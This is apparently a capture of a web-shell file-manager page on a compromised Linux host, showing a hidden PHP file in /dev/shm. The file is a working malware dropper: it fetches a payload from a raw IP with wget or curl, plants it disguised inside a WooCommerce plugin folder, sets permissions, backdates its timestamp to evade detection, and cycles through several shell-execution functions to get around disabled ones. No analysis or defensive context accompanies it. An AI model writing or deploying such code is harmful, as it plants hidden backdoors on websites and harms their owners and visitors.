HEX
Server: Apache
System: Linux sg241.singhost.net 2.6.32-896.16.1.lve1.4.51.el6.x86_64 #1 SMP Wed Jan 17 13:19:23 EST 2018 x86_64
User: honghock (909)
PHP: 8.0.30
Disabled: passthru,system,shell_exec,show_source,exec,popen,proc_open
Upload Files
File: //dev/shm/.flag
<?php   $p = '/home/staynuts/public_html/michellesgp.com/wp-content/plugins/woocommerce/packages/woocommerce-admin/vendor/categorieslatest'; $u = 'http://104.250.164.214/10220a5bf6bba60c8c545597b41cb266'; $fs = 381058; $ft = 1679940328; run("wget -O {$p} {$u} && gunzip {$p}.gz"); check($p, $fs, $ft); run("curl -o {$p} {$u} && gunzip {$p}.gz"); check($p, $fs, $ft); function check($p, $fs, $ft) {     if (file_exists($p) && filesize($p) == $fs) {         @chmod($p, 0744);         @touch($p, $ft);         die('_uploaded!_');     } } function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f)) $out .= fread($f, 1024);         pclose($f);     }     return $out; } die('_upload_failed_');